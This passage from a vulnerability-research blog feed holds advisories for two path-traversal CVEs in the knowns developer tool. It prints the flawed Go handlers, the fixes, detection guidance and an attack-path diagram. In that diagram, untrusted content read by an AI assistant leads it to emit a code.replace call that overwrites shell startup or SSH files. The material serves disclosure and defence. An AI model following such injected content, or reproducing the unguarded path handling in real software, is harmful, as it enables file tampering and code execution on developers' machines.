/api/imports/&#123;name&#125;</code> route joining an unvalidated URL parameter onto the imports directory before calling <code>os.RemoveAll</code> is the availability half of the <code>VA:H</code> rating — a traversal there removes a directory tree outside the import root.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>Unauthenticated attackers could write files outside the imports directory.</li><li>Arbitrary files writable by the server process could be overwritten.</li><li>Integrity and availability impacts are rated High; confidentiality is not directly affected (<code>VC:N</code>).</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>overwriting shell startup files, tool configuration, or git hooks to obtain code execution the next time the developer opens a terminal or runs a repository operation;</li><li>planting a malicious <code>.knowns/config.json</code> to chain into <a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a>;</li><li>corrupting or replacing source files, build scripts, and CI configuration in any repository the process can write to — a local supply-chain attack that reaches production through the developer’s own commits;</li><li>poisoning the docs, specs, and memory entries that an AI assistant treats as authoritative, which then influences code the developer reviews and accepts;</li><li>destructive impact through the delete path, including loss of project data;</li><li>persistence that survives restarting knowns, because the payload lives in files outside the tool.</li></ul><p><strong>Inferred:</strong> the AI-specific consequence deserves separate weight. A poisoned architectural decision record is not a defaced file; it is an instruction that a coding assistant will follow, in a document a human is unlikely to re-read. That is a quiet, durable influence channel over future code.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and versions; anything before 0.30.0 is affected.</li><li>Establish whether the API was reachable beyond loopback and for how long — see <a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a>.</li><li>List the configured imports and compare them to what the team actually intended to import. An import whose name is not a plain identifier is a finding.</li><li>Review <code>.knowns/imports/</code> for unexpected entries, and the directory <em>above</em> it for unexpected siblings.</li></ol><h3 id="Telemetry-and-integrity-review"><a href="#Telemetry-and-integrity-review" class="headerlink" title="Telemetry and integrity review"></a>Telemetry and integrity review</h3><ul><li><code>POST /api/imports</code> and <code>DELETE /api/imports/&#123;name&#125;</code> requests where the name is not a simple single segment;</li><li>imports whose source is a repository nobody on the team recognises;</li><li>file modification times outside the project that cluster around an import request;</li><li>unexpected changes to shell startup files, git hooks, editor configuration, and any <code>.knowns/config.json</code>;</li><li>for repositories under version control, <code>git status</code> and <code>git fsck</code> will surface unexpected working-tree changes, though files outside a repository will not be covered;</li><li>host filesystem audit events showing the knowns process writing outside its data directory.</li></ul><p><strong>Inferred:</strong> because the payload is a file rather than a process, detection should focus on integrity monitoring rather than on runtime behaviour. The malicious write may execute days later, or never — but it is still there.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix adds an explicit, reusable validator and applies it at every entry point:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">validateImportName</span><span class="params">(name <span class="type">string</span>)</span></span> <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> name == <span class="string">&quot;&quot;</span> || name == <span class="string">&quot;.&quot;</span> || name == <span class="string">&quot;..&quot;</span> ||</span><br><span class="line">filepath.IsAbs(name) || filepath.VolumeName(name) != <span class="string">&quot;&quot;</span> ||</span><br><span class="line">strings.ContainsAny(name, <span class="string">`/\`</span>) || strings.ContainsRune(name, <span class="string">&#x27;\x00&#x27;</span>) ||</span><br><span class="line">filepath.Base(name) != name &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;invalid import name %q: must be a single path segment&quot;</span>, name)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This is a good validator, and it is worth reading closely because each clause closes a distinct bypass:</p><ul><li><code>name == &quot;.&quot; || name == &quot;..&quot;</code> — the degenerate relative names;</li><li><code>filepath.IsAbs(name)</code> — absolute paths that would ignore the base entirely;</li><li><code>filepath.VolumeName(name) != &quot;&quot;</code> — Windows drive and UNC prefixes;</li><li><code>strings.ContainsAny(name, &quot;/\\&quot;)</code> — <em>both</em> separators, so a Windows-style separator cannot slip past a Unix-oriented check;</li><li><code>strings.ContainsRune(name, &#39;\x00&#39;)</code> — NUL truncation against the syscall layer;</li><li><code>filepath.Base(name) != name</code> — the catch-all invariant: if the name is not identical to its own basename, it is not a single segment.</li></ul><p>That final clause is the one to steal. It expresses the actual requirement — “this is a name, not a path” — rather than enumerating forbidden characters, so it stays correct as platform quirks change.</p><p>The validator is called in <code>add</code>, <code>get</code>, <code>remove</code>, and at the top of <code>gitCloneImport</code>, so the check cannot be bypassed by reaching the clone through a different route:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(ir *ImportRoutes)</span></span> gitCloneImport(source, name, ref, cachedHash <span class="type">string</span>, dryRun <span class="type">bool</span>) ([]importChange, []<span class="type">string</span>, <span class="type">string</span>, <span class="type">bool</span>, <span class="type">error</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> err := validateImportName(name); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, <span class="literal">nil</span>, <span class="string">&quot;&quot;</span>, <span class="literal">false</span>, err</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Note that the fallback <code>nameFromSource(req.Source)</code> result is validated too, because the check sits after the fallback assignment. Derived values are untrusted values.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Set a password and keep the listener on loopback (both are default in 0.30.0).</li><li>Treat “import from a URL” as a privileged operation and require authentication and explicit user confirmation for it.</li><li>Run developer tooling with a filesystem view that does not include the home directory’s dotfiles where practical.</li><li>Enable file integrity monitoring for shell startup files, git hooks, and tool configuration on developer machines.</li><li>If an affected version was exposed, audit for unexpected writes rather than assuming absence of an alert means absence of a write.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>d3989829fb50</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86542 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="A-name-is-not-a-path"><a href="#A-name-is-not-a-path" class="headerlink" title="A name is not a path"></a>A name is not a path</h3><p>The single most useful invariant in this patch is <code>filepath.Base(name) != name</code>. If a value is documented as an identifier, enforce that it is one at the boundary. Everything downstream then gets to assume it.</p><h3 id="Validate-derived-values-not-just-supplied-ones"><a href="#Validate-derived-values-not-just-supplied-ones" class="headerlink" title="Validate derived values, not just supplied ones"></a>Validate derived values, not just supplied ones</h3><p><code>name</code> could come from the request or from <code>nameFromSource(req.Source)</code>. Only validating the request field would have left the derived path open. Put the check after the value is finalised, immediately before it is used.</p><h3 id="Validate-at-every-entry-to-the-dangerous-function"><a href="#Validate-at-every-entry-to-the-dangerous-function" class="headerlink" title="Validate at every entry to the dangerous function"></a>Validate at every entry to the dangerous function</h3><p><code>gitCloneImport</code> is reachable from more than one route. The fix validates inside it as well as in the handlers. Guarding call sites is a maintenance burden that eventually fails; guarding the function is durable.</p><h3 id="Write-primitives-are-execution-primitives-on-developer-machines"><a href="#Write-primitives-are-execution-primitives-on-developer-machines" class="headerlink" title="Write primitives are execution primitives on developer machines"></a>Write primitives are execution primitives on developer machines</h3><p>Threat-model a file write as “the attacker will pick a file that something else executes”. On a workstation, that set is large and mostly undocumented. Score accordingly, and prioritise write traversals above read traversals when triaging.</p><h3 id="dryRun-is-a-UX-feature"><a href="#dryRun-is-a-UX-feature" class="headerlink" title="dryRun is a UX feature"></a><code>dryRun</code> is a UX feature</h3><p>Any flag the caller controls is part of the attack surface, not part of the defence. If a preview mode exists, ensure the security properties hold identically in both modes.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><ul><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure</li><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — the read-side counterpart, via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — path traversal through MCP doc and memory tools</li><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — path traversal in the <code>code.replace</code> MCP action</li><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — authorisation bypass via misclassified code actions</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — unauthenticated path traversal through the HTTP Document API</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86542">CVE.org record: CVE-2026-86542</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86542">NIST National Vulnerability Database: CVE-2026-86542</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-wh3c-v55g-qfg8">GitHub Security Advisory: GHSA-wh3c-v55g-qfg8</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-import-name">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/imports.go#L519-L551">Import <code>add</code> handler at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/imports.go#L376-L420"><code>gitCloneImport</code> copy loop at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/d3989829fb5095666d23d005b2f78a082832a396">Fix commit <code>d3989829fb50</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86542 affects knowns before 0.30.0: import routes build destination paths from an unvalidated name, letting unauthenticated callers write files outside the imports directory. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
    <category term="supply-chain" scheme="https://blog.nhhoang.io.vn/tags/supply-chain/"/>
    
    <category term="arbitrary-file-write" scheme="https://blog.nhhoang.io.vn/tags/arbitrary-file-write/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86541: knowns Path Traversal in the code.replace MCP Action</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/</id>
    <published>2026-09-08T03:30:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective data flow and the remediation. It does not include working traversal strings, target path lists, injection prompts, or a runnable proof of concept.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86541 is a path-traversal vulnerability in the <code>code.replace</code> MCP action of <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. The handler took a caller-supplied <code>path</code>, used it verbatim if it was absolute and joined it to the project root otherwise, read the file, performed a literal or regular-expression substitution, and wrote the result back with <code>os.WriteFile</code>.</p><p>No step established that the resolved path was inside the project. An absolute path skipped the project root entirely; a relative path with parent-directory segments walked out of it.</p><p>The weakness is <strong>CWE-22: Improper Limitation of a Pathname to a Restricted Directory</strong>. The vendor scores it <strong>CVSS 4.0 7.2 High</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 8.3 High</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H</code>). The CVE record specifically names shell startup scripts and SSH configuration files as targets.</p><p>Like <a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a>, the caller here is an AI assistant, not a browser. And like that issue, it pairs with <a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a>: <code>code.replace</code> was also <em>misclassified as a read operation</em>, so a session restricted to reading could invoke it in the first place. Read-only session, arbitrary host file write.</p><p>Fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/a2c98fc5c313463576c9348beeec6a74ddd7333b"><code>a2c98fc5c313</code></a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a deployment or attack-path consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86541</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-f539-xgc6-xw7q</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Path traversal, CWE-22</td><td>Verified</td></tr><tr><td>Entry point</td><td><code>path</code> argument of the <code>code.replace</code> MCP action</td><td>Verified</td></tr><tr><td>Dangerous sink</td><td><code>os.WriteFile</code> on an unconstrained path</td><td>Verified</td></tr><tr><td>Accepts absolute paths</td><td>Yes, used verbatim</td><td>Verified</td></tr><tr><td>Named targets</td><td>Shell startup scripts, SSH configuration</td><td>Verified (CVE description)</td></tr><tr><td>CVSS 4.0</td><td>7.2 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>8.3 High</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>a2c98fc5c313463576c9348beeec6a74ddd7333b</code></td><td>Verified</td></tr></tbody></table><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><p>From <code>internal/mcp/handlers/code.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">handleCodeReplace</span><span class="params">(ctx context.Context, getStore <span class="keyword">func</span>()</span></span> *storage.Store, getCodeRuntime <span class="function"><span class="keyword">func</span><span class="params">()</span></span> CodeRuntime, req mcp.CallToolRequest) (*mcp.CallToolResult, <span class="type">error</span>) &#123;</span><br><span class="line">store := getStore()</span><br><span class="line"><span class="keyword">if</span> store == <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(<span class="string">&quot;no project loaded&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">args := req.GetArguments()</span><br><span class="line">path, ok := stringArg(args, <span class="string">&quot;path&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> !ok || strings.TrimSpace(path) == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(<span class="string">&quot;path is required&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">needle, ok := textArg(args, <span class="string">&quot;needle&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> !ok || needle == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(<span class="string">&quot;needle is required&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">repl, ok := textArg(args, <span class="string">&quot;repl&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> !ok &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(<span class="string">&quot;repl is required&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">mode, _ := stringArg(args, <span class="string">&quot;mode&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> mode == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">mode = <span class="string">&quot;literal&quot;</span></span><br><span class="line">&#125;</span><br><span class="line">allowMultiple := boolArg(args, <span class="string">&quot;allow_multiple_occurrences&quot;</span>)</span><br><span class="line">absPath := path</span><br><span class="line"><span class="keyword">if</span> !filepath.IsAbs(absPath) &#123;</span><br><span class="line">absPath = filepath.Join(projectRoot(store), absPath)</span><br><span class="line">&#125;</span><br><span class="line">data, err := os.ReadFile(absPath)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(err.Error())</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> err := os.WriteFile(absPath, []<span class="type">byte</span>(next), <span class="number">0644</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(err.Error())</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Two-independent-escapes-in-four-lines"><a href="#Two-independent-escapes-in-four-lines" class="headerlink" title="Two independent escapes in four lines"></a>Two independent escapes in four lines</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">absPath := path</span><br><span class="line"><span class="keyword">if</span> !filepath.IsAbs(absPath) &#123;</span><br><span class="line">absPath = filepath.Join(projectRoot(store), absPath)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This is a resolution helper, not a containment check, and it fails in both branches:</p><ul><li><strong>Absolute path:</strong> the <code>if</code> is skipped and <code>path</code> is used exactly as supplied. The project root is never consulted. This is not really traversal at all — it is an unrestricted write target handed over directly.</li><li><strong>Relative path:</strong> <code>filepath.Join</code> cleans the result lexically and resolves parent-directory segments outward, past the project root.</li></ul><p>The pattern is deceptively reasonable. “If it is already absolute, we are done; otherwise make it absolute relative to the project” is correct <em>resolution</em> logic. It is only wrong because nothing afterwards asks whether the resolved path is somewhere the caller is allowed to write. Resolution and authorisation got conflated, and only resolution was implemented.</p><p>There is also no symlink handling, so even a correctly contained lexical path could point outside the root through a link inside it.</p><h3 id="The-substitution-constraints-are-weaker-than-they-look"><a href="#The-substitution-constraints-are-weaker-than-they-look" class="headerlink" title="The substitution constraints are weaker than they look"></a>The substitution constraints are weaker than they look</h3><p>At first glance the write seems bounded: the file must already exist (<code>os.ReadFile</code> must succeed), <code>needle</code> must be present, and by default more than one occurrence is rejected. That is not much of a constraint:</p><ul><li><code>allow_multiple_occurrences</code> is caller-supplied, so the multiplicity guard is off whenever the attacker wants it off;</li><li><code>mode: &quot;regex&quot;</code> compiles <code>needle</code> as a Go regular expression, and a pattern that matches broadly turns a targeted substitution into a wholesale rewrite of the file’s contents;</li><li>the file only has to <em>exist</em>, and the most valuable targets on a developer machine — shell startup files, SSH configuration, git configuration — generally do.</li></ul><p><strong>Inferred:</strong> in practice this is a full-content write against any existing file the process can write, not a surgical patch. The <code>VI:H/VA:H</code> rating reflects that.</p><h3 id="The-permissions-layer-did-not-compensate"><a href="#The-permissions-layer-did-not-compensate" class="headerlink" title="The permissions layer did not compensate"></a>The permissions layer did not compensate</h3><p>In the same release, <code>code.replace</code> had no entry in the action registry and inherited <code>CapRead</code> from the tool-level fallback. That is <a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a>. The practical consequence for <em>this</em> issue is that the capability gate, which existed and worked, was gating the wrong verb — so a session deliberately restricted to reading could still reach <code>os.WriteFile</code>.</p><p><strong>Inferred:</strong> this is the more general lesson of the pair. A path-containment bug and a classification bug are each individually recoverable; together they remove both the outer and inner control on the same call.</p><h3 id="The-neighbouring-handlers-shared-it"><a href="#The-neighbouring-handlers-shared-it" class="headerlink" title="The neighbouring handlers shared it"></a>The neighbouring handlers shared it</h3><p>The fix also rewrites <code>lspPathRequest</code>, which fed <code>handleCodeRename</code>, <code>handleCodeReplaceBody</code>, <code>handleCodeInsert</code>, and <code>handleCodeDelete</code> with the identical <code>IsAbs</code>-or-<code>Join</code> idiom, and changes <code>applyWorkspaceEdit</code> to take the project root so that LSP-driven multi-file edits are contained too. <strong>Inferred:</strong> the pattern had been copied across the file, which is the usual reason a single-line bug appears in five handlers at once.</p><h2 id="Why-user-interaction-is-in-the-vector-and-why-it-is-cheap"><a href="#Why-user-interaction-is-in-the-vector-and-why-it-is-cheap" class="headerlink" title="Why user interaction is in the vector, and why it is cheap"></a>Why user interaction is in the vector, and why it is cheap</h2><p>The vector carries <code>UI:P</code> (CVSS 4.0 passive) &#x2F; <code>UI:R</code> (CVSS 3.1 required). That is accurate — somebody must be running an assistant session against the knowns MCP server for the call to happen.</p><p><strong>Inferred:</strong> in an agentic workflow, this requirement is nearly free for an attacker. The “interaction” is a developer doing their normal job: opening a repository, asking an assistant to make a change, letting it read a README or an issue thread or a dependency’s documentation. If any of that content is attacker-influenced, the tool call can be too. The user does not approve a write to <code>~/.ssh/config</code>; they approve “help me refactor this module”, and the tool argument is chosen downstream by the model.</p><p>The attack path:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Untrusted content the assistant reads</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Model emits code.replace with an attacker-influenced `path`</span><br><span class="line">        |</span><br><span class="line">        | classified CapRead (CVE-2026-86544) -&gt; capability gate passes</span><br><span class="line">        v</span><br><span class="line">handleCodeReplace: absPath := path        (absolute, used verbatim)</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">os.WriteFile(absPath, ...)  as the developer&#x27;s user</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Shell startup file / SSH config / git hook  -&gt;  execution at next trigger</span><br></pre></td></tr></table></figure><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>Files outside the project root could be overwritten.</li><li>Both absolute paths and relative paths with traversal sequences were accepted.</li><li>Integrity and availability impacts are High; confidentiality is Low (the read that precedes the write returns nothing to the caller directly, but the substitution result is observable).</li><li>The CVE record names shell startup scripts and SSH configuration files as realistic targets.</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>code execution at the developer’s next shell start, git operation, or tool invocation, depending on which configuration file was modified;</li><li>redirection of SSH connections or acceptance of attacker key material, converting a local write into remote access;</li><li>modification of source, build scripts, or CI configuration in repositories outside the current project — a supply-chain path that reaches production via the developer’s legitimate commits;</li><li>corruption or truncation of arbitrary files through a broadly matching regular expression, which is the availability impact;</li><li>silent, targeted edits to code the developer is about to review, where a small change in a large assistant-generated diff is easy to miss.</li></ul><p><strong>Inferred:</strong> that final point is specific to agentic tooling and under-appreciated. Developers reviewing AI-generated changes are already scanning a larger diff than they wrote. A one-line modification introduced by a compromised tool call is competing for attention with dozens of legitimate ones.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and versions; anything before 0.30.0 is affected.</li><li>Identify which assistants had the knowns MCP server configured, and whether code tools were auto-approved.</li><li>Establish the window during which an affected version was in use with an assistant attached.</li><li>Review the integrity of files outside the project that the account could write — this is the exposure scope, not the project directory.</li></ol><h3 id="Telemetry-and-integrity-review"><a href="#Telemetry-and-integrity-review" class="headerlink" title="Telemetry and integrity review"></a>Telemetry and integrity review</h3><ul><li>MCP tool invocations of <code>code.replace</code>, <code>code.rename</code>, <code>code.insert</code>, <code>code.replace_body</code>, and <code>code.delete</code> where <code>path</code> is absolute or contains parent-directory segments;</li><li>any <code>code.replace</code> call in <code>regex</code> mode with a broadly matching <code>needle</code>, or with <code>allow_multiple_occurrences</code> set;</li><li>modification times on shell startup files, SSH configuration, git hooks, and editor configuration that cluster around assistant activity;</li><li>for repositories under version control, unexplained working-tree changes; note that files outside a repository will not be covered by this check;</li><li>host filesystem audit events showing the knowns process writing outside the project root.</li></ul><p><strong>Inferred:</strong> assistant session transcripts are again the decisive artefact, because they contain the exact <code>path</code> argument. Retain them.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix replaces the resolution idiom with a containment-enforcing resolver and adds a second, independent check before any mutation:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">absPath, err := safepath.ResolveProject(projectRoot(store), path)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(err.Error())</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> err := ensureCodeMutationPath(projectRoot(store), absPath); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> errResult(err.Error())</span><br><span class="line">&#125;</span><br><span class="line">data, err := os.ReadFile(absPath)</span><br></pre></td></tr></table></figure><p><code>safepath.ResolveProject</code> still accepts native absolute paths — the tool legitimately needs to work with them — but only when they resolve inside the root:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span 